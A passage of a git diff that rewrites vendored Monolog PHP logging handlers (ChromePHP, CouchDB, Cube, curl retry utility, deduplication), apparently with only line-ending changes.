$this->bufferLimit) { + if ($this->flushOnOverflow) { + $this->flush(); + } else { + array_shift($this->buffer); + $this->bufferSize--; + } + } + + if ($this->processors) { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + } + + $this->buffer[] = $record; + $this->bufferSize++; + + return false === $this->bubble; + } + + public function flush() + { + if ($this->bufferSize === 0) { + return; + } + + $this->handler->handleBatch($this->buffer); + $this->clear(); + } + + public function __destruct() + { + // suppress the parent behavior since we already have register_shutdown_function() + // to call close(), and the reference contained there will prevent this from being + // GC'd until the end of the request + } + + /** + * {@inheritdoc} + */ + public function close() + { + $this->flush(); + } + + /** + * Clears the buffer without flushing any messages down to the wrapped handler. + */ + public function clear() + { + $this->bufferSize = 0; + $this->buffer = array(); + } + + public function reset() + { + $this->flush(); + + parent::reset(); + + if ($this->handler instanceof ResettableInterface) { + $this->handler->reset(); + } + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + $this->handler->setFormatter($formatter); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function getFormatter() + { + return $this->handler->getFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php index 1fbebc4f31..47120e5450 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php @@ -1,212 +1,212 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\ChromePHPFormatter; -use Monolog\Logger; -use Monolog\Utils; - -/** - * Handler sending logs to the ChromePHP extension (http://www.chromephp.com/) - * - * This also works out of the box with Firefox 43+ - * - * @author Christophe Coevoet - */ -class ChromePHPHandler extends AbstractProcessingHandler -{ - /** - * Version of the extension - */ - const VERSION = '4.0'; - - /** - * Header name - */ - const HEADER_NAME = 'X-ChromeLogger-Data'; - - /** - * Regular expression to detect supported browsers (matches any Chrome, or Firefox 43+) - */ - const USER_AGENT_REGEX = '{\b(?:Chrome/\d+(?:\.\d+)*|HeadlessChrome|Firefox/(?:4[3-9]|[5-9]\d|\d{3,})(?:\.\d)*)\b}'; - - protected static $initialized = false; - - /** - * Tracks whether we sent too much data - * - * Chrome limits the headers to 4KB, so when we sent 3KB we stop sending - * - * @var bool - */ - protected static $overflowed = false; - - protected static $json = array( - 'version' => self::VERSION, - 'columns' => array('label', 'log', 'backtrace', 'type'), - 'rows' => array(), - ); - - protected static $sendHeaders = true; - - /** - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($level = Logger::DEBUG, $bubble = true) - { - parent::__construct($level, $bubble); - if (!function_exists('json_encode')) { - throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s ChromePHPHandler'); - } - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - $messages = array(); - - foreach ($records as $record) { - if ($record['level'] < $this->level) { - continue; - } - $messages[] = $this->processRecord($record); - } - - if (!empty($messages)) { - $messages = $this->getFormatter()->formatBatch($messages); - self::$json['rows'] = array_merge(self::$json['rows'], $messages); - $this->send(); - } - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new ChromePHPFormatter(); - } - - /** - * Creates & sends header for a record - * - * @see sendHeader() - * @see send() - * @param array $record - */ - protected function write(array $record) - { - self::$json['rows'][] = $record['formatted']; - - $this->send(); - } - - /** - * Sends the log header - * - * @see sendHeader() - */ - protected function send() - { - if (self::$overflowed || !self::$sendHeaders) { - return; - } - - if (!self::$initialized) { - self::$initialized = true; - - self::$sendHeaders = $this->headersAccepted(); - if (!self::$sendHeaders) { - return; - } - - self::$json['request_uri'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; - } - - $json = Utils::jsonEncode(self::$json, null, true); - $data = base64_encode(utf8_encode($json)); - if (strlen($data) > 3 * 1024) { - self::$overflowed = true; - - $record = array( - 'message' => 'Incomplete logs, chrome header size limit reached', - 'context' => array(), - 'level' => Logger::WARNING, - 'level_name' => Logger::getLevelName(Logger::WARNING), - 'channel' => 'monolog', - 'datetime' => new \DateTime(), - 'extra' => array(), - ); - self::$json['rows'][count(self::$json['rows']) - 1] = $this->getFormatter()->format($record); - $json = Utils::jsonEncode(self::$json, null, true); - $data = base64_encode(utf8_encode($json)); - } - - if (trim($data) !== '') { - $this->sendHeader(self::HEADER_NAME, $data); - } - } - - /** - * Send header string to the client - * - * @param string $header - * @param string $content - */ - protected function sendHeader($header, $content) - { - if (!headers_sent() && self::$sendHeaders) { - header(sprintf('%s: %s', $header, $content)); - } - } - - /** - * Verifies if the headers are accepted by the current user agent - * - * @return bool - */ - protected function headersAccepted() - { - if (empty($_SERVER['HTTP_USER_AGENT'])) { - return false; - } - - return preg_match(self::USER_AGENT_REGEX, $_SERVER['HTTP_USER_AGENT']); - } - - /** - * BC getter for the sendHeaders property that has been made static - */ - public function __get($property) - { - if ('sendHeaders' !== $property) { - throw new \InvalidArgumentException('Undefined property '.$property); - } - - return static::$sendHeaders; - } - - /** - * BC setter for the sendHeaders property that has been made static - */ - public function __set($property, $value) - { - if ('sendHeaders' !== $property) { - throw new \InvalidArgumentException('Undefined property '.$property); - } - - static::$sendHeaders = $value; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\ChromePHPFormatter; +use Monolog\Logger; +use Monolog\Utils; + +/** + * Handler sending logs to the ChromePHP extension (http://www.chromephp.com/) + * + * This also works out of the box with Firefox 43+ + * + * @author Christophe Coevoet + */ +class ChromePHPHandler extends AbstractProcessingHandler +{ + /** + * Version of the extension + */ + const VERSION = '4.0'; + + /** + * Header name + */ + const HEADER_NAME = 'X-ChromeLogger-Data'; + + /** + * Regular expression to detect supported browsers (matches any Chrome, or Firefox 43+) + */ + const USER_AGENT_REGEX = '{\b(?:Chrome/\d+(?:\.\d+)*|HeadlessChrome|Firefox/(?:4[3-9]|[5-9]\d|\d{3,})(?:\.\d)*)\b}'; + + protected static $initialized = false; + + /** + * Tracks whether we sent too much data + * + * Chrome limits the headers to 4KB, so when we sent 3KB we stop sending + * + * @var bool + */ + protected static $overflowed = false; + + protected static $json = array( + 'version' => self::VERSION, + 'columns' => array('label', 'log', 'backtrace', 'type'), + 'rows' => array(), + ); + + protected static $sendHeaders = true; + + /** + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($level = Logger::DEBUG, $bubble = true) + { + parent::__construct($level, $bubble); + if (!function_exists('json_encode')) { + throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s ChromePHPHandler'); + } + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + $messages = array(); + + foreach ($records as $record) { + if ($record['level'] < $this->level) { + continue; + } + $messages[] = $this->processRecord($record); + } + + if (!empty($messages)) { + $messages = $this->getFormatter()->formatBatch($messages); + self::$json['rows'] = array_merge(self::$json['rows'], $messages); + $this->send(); + } + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new ChromePHPFormatter(); + } + + /** + * Creates & sends header for a record + * + * @see sendHeader() + * @see send() + * @param array $record + */ + protected function write(array $record) + { + self::$json['rows'][] = $record['formatted']; + + $this->send(); + } + + /** + * Sends the log header + * + * @see sendHeader() + */ + protected function send() + { + if (self::$overflowed || !self::$sendHeaders) { + return; + } + + if (!self::$initialized) { + self::$initialized = true; + + self::$sendHeaders = $this->headersAccepted(); + if (!self::$sendHeaders) { + return; + } + + self::$json['request_uri'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; + } + + $json = Utils::jsonEncode(self::$json, null, true); + $data = base64_encode(utf8_encode($json)); + if (strlen($data) > 3 * 1024) { + self::$overflowed = true; + + $record = array( + 'message' => 'Incomplete logs, chrome header size limit reached', + 'context' => array(), + 'level' => Logger::WARNING, + 'level_name' => Logger::getLevelName(Logger::WARNING), + 'channel' => 'monolog', + 'datetime' => new \DateTime(), + 'extra' => array(), + ); + self::$json['rows'][count(self::$json['rows']) - 1] = $this->getFormatter()->format($record); + $json = Utils::jsonEncode(self::$json, null, true); + $data = base64_encode(utf8_encode($json)); + } + + if (trim($data) !== '') { + $this->sendHeader(self::HEADER_NAME, $data); + } + } + + /** + * Send header string to the client + * + * @param string $header + * @param string $content + */ + protected function sendHeader($header, $content) + { + if (!headers_sent() && self::$sendHeaders) { + header(sprintf('%s: %s', $header, $content)); + } + } + + /** + * Verifies if the headers are accepted by the current user agent + * + * @return bool + */ + protected function headersAccepted() + { + if (empty($_SERVER['HTTP_USER_AGENT'])) { + return false; + } + + return preg_match(self::USER_AGENT_REGEX, $_SERVER['HTTP_USER_AGENT']); + } + + /** + * BC getter for the sendHeaders property that has been made static + */ + public function __get($property) + { + if ('sendHeaders' !== $property) { + throw new \InvalidArgumentException('Undefined property '.$property); + } + + return static::$sendHeaders; + } + + /** + * BC setter for the sendHeaders property that has been made static + */ + public function __set($property, $value) + { + if ('sendHeaders' !== $property) { + throw new \InvalidArgumentException('Undefined property '.$property); + } + + static::$sendHeaders = $value; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php index 0b762caf78..cc98697199 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php @@ -1,72 +1,72 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\JsonFormatter; -use Monolog\Logger; - -/** - * CouchDB handler - * - * @author Markus Bachmann - */ -class CouchDBHandler extends AbstractProcessingHandler -{ - private $options; - - public function __construct(array $options = array(), $level = Logger::DEBUG, $bubble = true) - { - $this->options = array_merge(array( - 'host' => 'localhost', - 'port' => 5984, - 'dbname' => 'logger', - 'username' => null, - 'password' => null, - ), $options); - - parent::__construct($level, $bubble); - } - - /** - * {@inheritDoc} - */ - protected function write(array $record) - { - $basicAuth = null; - if ($this->options['username']) { - $basicAuth = sprintf('%s:%s@', $this->options['username'], $this->options['password']); - } - - $url = 'http://'.$basicAuth.$this->options['host'].':'.$this->options['port'].'/'.$this->options['dbname']; - $context = stream_context_create(array( - 'http' => array( - 'method' => 'POST', - 'content' => $record['formatted'], - 'ignore_errors' => true, - 'max_redirects' => 0, - 'header' => 'Content-type: application/json', - ), - )); - - if (false === @file_get_contents($url, null, $context)) { - throw new \RuntimeException(sprintf('Could not connect to %s', $url)); - } - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\JsonFormatter; +use Monolog\Logger; + +/** + * CouchDB handler + * + * @author Markus Bachmann + */ +class CouchDBHandler extends AbstractProcessingHandler +{ + private $options; + + public function __construct(array $options = array(), $level = Logger::DEBUG, $bubble = true) + { + $this->options = array_merge(array( + 'host' => 'localhost', + 'port' => 5984, + 'dbname' => 'logger', + 'username' => null, + 'password' => null, + ), $options); + + parent::__construct($level, $bubble); + } + + /** + * {@inheritDoc} + */ + protected function write(array $record) + { + $basicAuth = null; + if ($this->options['username']) { + $basicAuth = sprintf('%s:%s@', $this->options['username'], $this->options['password']); + } + + $url = 'http://'.$basicAuth.$this->options['host'].':'.$this->options['port'].'/'.$this->options['dbname']; + $context = stream_context_create(array( + 'http' => array( + 'method' => 'POST', + 'content' => $record['formatted'], + 'ignore_errors' => true, + 'max_redirects' => 0, + 'header' => 'Content-type: application/json', + ), + )); + + if (false === @file_get_contents($url, null, $context)) { + throw new \RuntimeException(sprintf('Could not connect to %s', $url)); + } + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/CubeHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/CubeHandler.php index 2d03c06edf..44928efb25 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/CubeHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/CubeHandler.php @@ -1,152 +1,152 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Utils; - -/** - * Logs to Cube. - * - * @link http://square.github.com/cube/ - * @author Wan Chen - */ -class CubeHandler extends AbstractProcessingHandler -{ - private $udpConnection; - private $httpConnection; - private $scheme; - private $host; - private $port; - private $acceptedSchemes = array('http', 'udp'); - - /** - * Create a Cube handler - * - * @throws \UnexpectedValueException when given url is not a valid url. - * A valid url must consist of three parts : protocol://host:port - * Only valid protocols used by Cube are http and udp - */ - public function __construct($url, $level = Logger::DEBUG, $bubble = true) - { - $urlInfo = parse_url($url); - - if (!isset($urlInfo['scheme'], $urlInfo['host'], $urlInfo['port'])) { - throw new \UnexpectedValueException('URL "'.$url.'" is not valid'); - } - - if (!in_array($urlInfo['scheme'], $this->acceptedSchemes)) { - throw new \UnexpectedValueException( - 'Invalid protocol (' . $urlInfo['scheme'] . ').' - . ' Valid options are ' . implode(', ', $this->acceptedSchemes)); - } - - $this->scheme = $urlInfo['scheme']; - $this->host = $urlInfo['host']; - $this->port = $urlInfo['port']; - - parent::__construct($level, $bubble); - } - - /** - * Establish a connection to an UDP socket - * - * @throws \LogicException when unable to connect to the socket - * @throws MissingExtensionException when there is no socket extension - */ - protected function connectUdp() - { - if (!extension_loaded('sockets')) { - throw new MissingExtensionException('The sockets extension is required to use udp URLs with the CubeHandler'); - } - - $this->udpConnection = socket_create(AF_INET, SOCK_DGRAM, 0); - if (!$this->udpConnection) { - throw new \LogicException('Unable to create a socket'); - } - - if (!socket_connect($this->udpConnection, $this->host, $this->port)) { - throw new \LogicException('Unable to connect to the socket at ' . $this->host . ':' . $this->port); - } - } - - /** - * Establish a connection to a http server - * @throws \LogicException when no curl extension - */ - protected function connectHttp() - { - if (!extension_loaded('curl')) { - throw new \LogicException('The curl extension is needed to use http URLs with the CubeHandler'); - } - - $this->httpConnection = curl_init('http://'.$this->host.':'.$this->port.'/1.0/event/put'); - - if (!$this->httpConnection) { - throw new \LogicException('Unable to connect to ' . $this->host . ':' . $this->port); - } - - curl_setopt($this->httpConnection, CURLOPT_CUSTOMREQUEST, "POST"); - curl_setopt($this->httpConnection, CURLOPT_RETURNTRANSFER, true); - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - $date = $record['datetime']; - - $data = array('time' => $date->format('Y-m-d\TH:i:s.uO')); - unset($record['datetime']); - - if (isset($record['context']['type'])) { - $data['type'] = $record['context']['type']; - unset($record['context']['type']); - } else { - $data['type'] = $record['channel']; - } - - $data['data'] = $record['context']; - $data['data']['level'] = $record['level']; - - if ($this->scheme === 'http') { - $this->writeHttp(Utils::jsonEncode($data)); - } else { - $this->writeUdp(Utils::jsonEncode($data)); - } - } - - private function writeUdp($data) - { - if (!$this->udpConnection) { - $this->connectUdp(); - } - - socket_send($this->udpConnection, $data, strlen($data), 0); - } - - private function writeHttp($data) - { - if (!$this->httpConnection) { - $this->connectHttp(); - } - - curl_setopt($this->httpConnection, CURLOPT_POSTFIELDS, '['.$data.']'); - curl_setopt($this->httpConnection, CURLOPT_HTTPHEADER, array( - 'Content-Type: application/json', - 'Content-Length: ' . strlen('['.$data.']'), - )); - - Curl\Util::execute($this->httpConnection, 5, false); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Utils; + +/** + * Logs to Cube. + * + * @link http://square.github.com/cube/ + * @author Wan Chen + */ +class CubeHandler extends AbstractProcessingHandler +{ + private $udpConnection; + private $httpConnection; + private $scheme; + private $host; + private $port; + private $acceptedSchemes = array('http', 'udp'); + + /** + * Create a Cube handler + * + * @throws \UnexpectedValueException when given url is not a valid url. + * A valid url must consist of three parts : protocol://host:port + * Only valid protocols used by Cube are http and udp + */ + public function __construct($url, $level = Logger::DEBUG, $bubble = true) + { + $urlInfo = parse_url($url); + + if (!isset($urlInfo['scheme'], $urlInfo['host'], $urlInfo['port'])) { + throw new \UnexpectedValueException('URL "'.$url.'" is not valid'); + } + + if (!in_array($urlInfo['scheme'], $this->acceptedSchemes)) { + throw new \UnexpectedValueException( + 'Invalid protocol (' . $urlInfo['scheme'] . ').' + . ' Valid options are ' . implode(', ', $this->acceptedSchemes)); + } + + $this->scheme = $urlInfo['scheme']; + $this->host = $urlInfo['host']; + $this->port = $urlInfo['port']; + + parent::__construct($level, $bubble); + } + + /** + * Establish a connection to an UDP socket + * + * @throws \LogicException when unable to connect to the socket + * @throws MissingExtensionException when there is no socket extension + */ + protected function connectUdp() + { + if (!extension_loaded('sockets')) { + throw new MissingExtensionException('The sockets extension is required to use udp URLs with the CubeHandler'); + } + + $this->udpConnection = socket_create(AF_INET, SOCK_DGRAM, 0); + if (!$this->udpConnection) { + throw new \LogicException('Unable to create a socket'); + } + + if (!socket_connect($this->udpConnection, $this->host, $this->port)) { + throw new \LogicException('Unable to connect to the socket at ' . $this->host . ':' . $this->port); + } + } + + /** + * Establish a connection to a http server + * @throws \LogicException when no curl extension + */ + protected function connectHttp() + { + if (!extension_loaded('curl')) { + throw new \LogicException('The curl extension is needed to use http URLs with the CubeHandler'); + } + + $this->httpConnection = curl_init('http://'.$this->host.':'.$this->port.'/1.0/event/put'); + + if (!$this->httpConnection) { + throw new \LogicException('Unable to connect to ' . $this->host . ':' . $this->port); + } + + curl_setopt($this->httpConnection, CURLOPT_CUSTOMREQUEST, "POST"); + curl_setopt($this->httpConnection, CURLOPT_RETURNTRANSFER, true); + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + $date = $record['datetime']; + + $data = array('time' => $date->format('Y-m-d\TH:i:s.uO')); + unset($record['datetime']); + + if (isset($record['context']['type'])) { + $data['type'] = $record['context']['type']; + unset($record['context']['type']); + } else { + $data['type'] = $record['channel']; + } + + $data['data'] = $record['context']; + $data['data']['level'] = $record['level']; + + if ($this->scheme === 'http') { + $this->writeHttp(Utils::jsonEncode($data)); + } else { + $this->writeUdp(Utils::jsonEncode($data)); + } + } + + private function writeUdp($data) + { + if (!$this->udpConnection) { + $this->connectUdp(); + } + + socket_send($this->udpConnection, $data, strlen($data), 0); + } + + private function writeHttp($data) + { + if (!$this->httpConnection) { + $this->connectHttp(); + } + + curl_setopt($this->httpConnection, CURLOPT_POSTFIELDS, '['.$data.']'); + curl_setopt($this->httpConnection, CURLOPT_HTTPHEADER, array( + 'Content-Type: application/json', + 'Content-Length: ' . strlen('['.$data.']'), + )); + + Curl\Util::execute($this->httpConnection, 5, false); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/Curl/Util.php b/vendor/monolog/monolog/src/Monolog/Handler/Curl/Util.php index f4649c7e19..48d30b3586 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/Curl/Util.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/Curl/Util.php @@ -1,57 +1,57 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler\Curl; - -class Util -{ - private static $retriableErrorCodes = array( - CURLE_COULDNT_RESOLVE_HOST, - CURLE_COULDNT_CONNECT, - CURLE_HTTP_NOT_FOUND, - CURLE_READ_ERROR, - CURLE_OPERATION_TIMEOUTED, - CURLE_HTTP_POST_ERROR, - CURLE_SSL_CONNECT_ERROR, - ); - - /** - * Executes a CURL request with optional retries and exception on failure - * - * @param resource $ch curl handler - * @throws \RuntimeException - */ - public static function execute($ch, $retries = 5, $closeAfterDone = true) - { - while ($retries--) { - if (curl_exec($ch) === false) { - $curlErrno = curl_errno($ch); - - if (false === in_array($curlErrno, self::$retriableErrorCodes, true) || !$retries) { - $curlError = curl_error($ch); - - if ($closeAfterDone) { - curl_close($ch); - } - - throw new \RuntimeException(sprintf('Curl error (code %s): %s', $curlErrno, $curlError)); - } - - continue; - } - - if ($closeAfterDone) { - curl_close($ch); - } - break; - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler\Curl; + +class Util +{ + private static $retriableErrorCodes = array( + CURLE_COULDNT_RESOLVE_HOST, + CURLE_COULDNT_CONNECT, + CURLE_HTTP_NOT_FOUND, + CURLE_READ_ERROR, + CURLE_OPERATION_TIMEOUTED, + CURLE_HTTP_POST_ERROR, + CURLE_SSL_CONNECT_ERROR, + ); + + /** + * Executes a CURL request with optional retries and exception on failure + * + * @param resource $ch curl handler + * @throws \RuntimeException + */ + public static function execute($ch, $retries = 5, $closeAfterDone = true) + { + while ($retries--) { + if (curl_exec($ch) === false) { + $curlErrno = curl_errno($ch); + + if (false === in_array($curlErrno, self::$retriableErrorCodes, true) || !$retries) { + $curlError = curl_error($ch); + + if ($closeAfterDone) { + curl_close($ch); + } + + throw new \RuntimeException(sprintf('Curl error (code %s): %s', $curlErrno, $curlError)); + } + + continue; + } + + if ($closeAfterDone) { + curl_close($ch); + } + break; + } + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php index c70903d380..35b55cb4f4 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php @@ -1,169 +1,169 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * Simple handler wrapper that deduplicates log records across multiple requests - * - * It also includes the BufferHandler functionality and will buffer - * all messages until the end of the request or flush() is called. - * - * This works by storing all log records' messages above $deduplicationLevel - * to the file specified by $deduplicationStore. When further logs come in at the end of the - * request (or when flush() is called), all those above $deduplicationLevel are checked - * against the existing stored logs. If they match and the timestamps in the stored log is - * not older than $time seconds, the new log record is discarded. If no log record is new, the - * whole data set is discarded. - * - * This is mainly useful in combination with Mail handlers or things like Slack or HipChat handlers - * that send messages to people, to avoid spamming with the same message over and over in case of - * a major component failure like a database server being down which makes all requests fail in the - * same way. - * - * @author Jordi Boggiano - */ -class DeduplicationHandler extends BufferHandler -{ - /** - * @var string - */ - protected $deduplicationStore; - - /** - * @var int - */ - protected $deduplicationLevel; - - /** - * @var int - */ - protected $time; - - /** - * @var bool - */ - private $gc = false; - - /** - * @param HandlerInterface $handler Handler. - * @param string $deduplicationStore The file/path where the deduplication log should be kept - * @param int $deduplicationLevel The minimum logging level for log records to be looked at for deduplication purposes - * @param int $time The period (in seconds) during which duplicate entries should be suppressed after a given log is sent through - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct(HandlerInterface $handler, $deduplicationStore = null, $deduplicationLevel = Logger::ERROR, $time = 60, $bubble = true) - { - parent::__construct($handler, 0, Logger::DEBUG, $bubble, false); - - $this->deduplicationStore = $deduplicationStore === null ? sys_get_temp_dir() . '/monolog-dedup-' . substr(md5(__FILE__), 0, 20) .'.log' : $deduplicationStore; - $this->deduplicationLevel = Logger::toMonologLevel($deduplicationLevel); - $this->time = $time; - } - - public function flush() - { - if ($this->bufferSize === 0) { - return; - } - - $passthru = null; - - foreach ($this->buffer as $record) { - if ($record['level'] >= $this->deduplicationLevel) { - - $passthru = $passthru || !$this->isDuplicate($record); - if ($passthru) { - $this->appendRecord($record); - } - } - } - - // default of null is valid as well as if no record matches duplicationLevel we just pass through - if ($passthru === true || $passthru === null) { - $this->handler->handleBatch($this->buffer); - } - - $this->clear(); - - if ($this->gc) { - $this->collectLogs(); - } - } - - private function isDuplicate(array $record) - { - if (!file_exists($this->deduplicationStore)) { - return false; - } - - $store = file($this->deduplicationStore, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); - if (!is_array($store)) { - return false; - } - - $yesterday = time() - 86400; - $timestampValidity = $record['datetime']->getTimestamp() - $this->time; - $expectedMessage = preg_replace('{[\r\n].*}', '', $record['message']); - - for ($i = count($store) - 1; $i >= 0; $i--) { - list($timestamp, $level, $message) = explode(':', $store[$i], 3); - - if ($level === $record['level_name'] && $message === $expectedMessage && $timestamp > $timestampValidity) { - return true; - } - - if ($timestamp < $yesterday) { - $this->gc = true; - } - } - - return false; - } - - private function collectLogs() - { - if (!file_exists($this->deduplicationStore)) { - return false; - } - - $handle = fopen($this->deduplicationStore, 'rw+'); - flock($handle, LOCK_EX); - $validLogs = array(); - - $timestampValidity = time() - $this->time; - - while (!feof($handle)) { - $log = fgets($handle); - if (substr($log, 0, 10) >= $timestampValidity) { - $validLogs[] = $log; - } - } - - ftruncate($handle, 0); - rewind($handle); - foreach ($validLogs as $log) { - fwrite($handle, $log); - } - - flock($handle, LOCK_UN); - fclose($handle); - - $this->gc = false; - } - - private function appendRecord(array $record) - { - file_put_contents($this->deduplicationStore, $record['datetime']->getTimestamp() . ':' . $record['level_name'] . ':' . preg_replace('{[\r\n].*}', '', $record['message']) . "\n", FILE_APPEND); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * Simple handler wrapper that deduplicates log records across multiple requests + * + * It also includes the BufferHandler functionality and will buffer + * all messages until the end of the request or flush() is called. + * + * This works by storing all log records' messages above $deduplicationLevel + * to the file specified by $deduplicationStore. When further logs come in at the end of the + * request (or when flush() is called), all those above $deduplicationLevel are checked + * against the existing stored logs. If they match and the timestamps in the stored log is + * not older than $time seconds, the new log record is discarded. If no log record is new, the + * whole data set is discarded. + * + * This is mainly useful in combination with Mail handlers or things like Slack or HipChat handlers + * that send messages to people, to avoid spamming with the same message over and over in case of + * a major component failure like a database server being down which makes all requests fail in the + * same way. + * + * @author Jordi Boggiano + */ +class DeduplicationHandler extends BufferHandler +{ + /** + * @var string + */ + protected $deduplicationStore; + + /** + * @var int + */ + protected $deduplicationLevel; + + /** + * @var int + */ + protected $time; + + /** + * @var bool + */ + private $gc = false; + + /** + * @param HandlerInterface $handler Handler. + * @param string $deduplicationStore The file/path where the deduplication log should be kept + * @param int $deduplicationLevel The minimum logging level for log records to be looked at for deduplication purposes + * @param int $time The period (in seconds) during which duplicate entries should be suppressed after a given log is sent through + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct(HandlerInterface $handler, $deduplicationStore = null, $deduplicationLevel = Logger::ERROR, $time = 60, $bubble = true) + { + parent::__construct($handler, 0, Logger::DEBUG, $bubble, false); + + $this->deduplicationStore = $deduplicationStore === null ? sys_get_temp_dir() . '/monolog-dedup-' . substr(md5(__FILE__), 0, 20) .'.log' : $deduplicationStore; + $this->deduplicationLevel = Logger::toMonologLevel($deduplicationLevel); + $this->time = $time; + } + + public function flush() + { + if ($this->bufferSize === 0) { + return; + } + + $passthru = null; + + foreach ($this->buffer as $record) { + if ($record['level'] >= $this->deduplicationLevel) { + + $passthru = $passthru || !$this->isDuplicate($record); + if ($passthru) { + $this->appendRecord($record); + } + } + } + + // default of null is valid as well as if no record matches duplicationLevel we just pass through + if ($passthru === true || $passthru === null) { + $this->handler->handleBatch($this->buffer); + } + + $this->clear(); + + if ($this->gc) { + $this->collectLogs(); + } + } + + private function isDuplicate(array $record) + { + if (!file_exists($this->deduplicationStore)) { + return false; + } + + $store = file($this->deduplicationStore, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); + if (!is_array($store)) { + return false; + } + + $yesterday = time() - 86400; + $timestampValidity = $record['datetime']->getTimestamp() - $this->time; + $expectedMessage = preg_replace('{[\r\n].*}', '', $record['message']); + + for ($i = count($store) - 1; $i >= 0; $i--) { + list($timestamp, $level, $message) = explode(':', $store[$i], 3); + + if ($level === $record['level_name'] && $message === $expectedMessage && $timestamp > $timestampValidity) { + return true; + } + + if ($timestamp < $yesterday) { + $this->gc = true; + } + } + + return false; + } + + private function collectLogs() + { + if (!file_exists($this->deduplicationStore)) { + return false; + } + + $handle = fopen($this->deduplicationStore, 'rw+'); + flock($handle, LOCK_EX); + $validLogs = array(); + + $timestampValidity = time() - $this->time; + + while (!feof($handle)) { + $log = fgets($handle); + if (substr($log, 0, 10) >= $timestampValidity) { + $validLogs[] = $log; + } + } + + ftruncate($handle, 0); + rewind($handle); + foreach ($validLogs as $log) { + fwrite($handle, $log); + } + + flock($handle, LOCK_UN); + fclose($handle); + + $this->gc = false; + } + + private function appendRecord(array $record) + { + file_put_contents($this->deduplicationStore, $record['datetime']->getTimestamp() . ':' . $record['level_name'] . ':' . preg_replace('{[\r\n].*}', '', $record['message']) . "\n", FILE_APPEND); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php index 5b477889e1..b91ffec905 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php @@ -1,45 +1,45 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\NormalizerFormatter; -use Doctrine\CouchDB\CouchDBClient; - -/** - * CouchDB handler for Doctrine CouchDB ODM - * 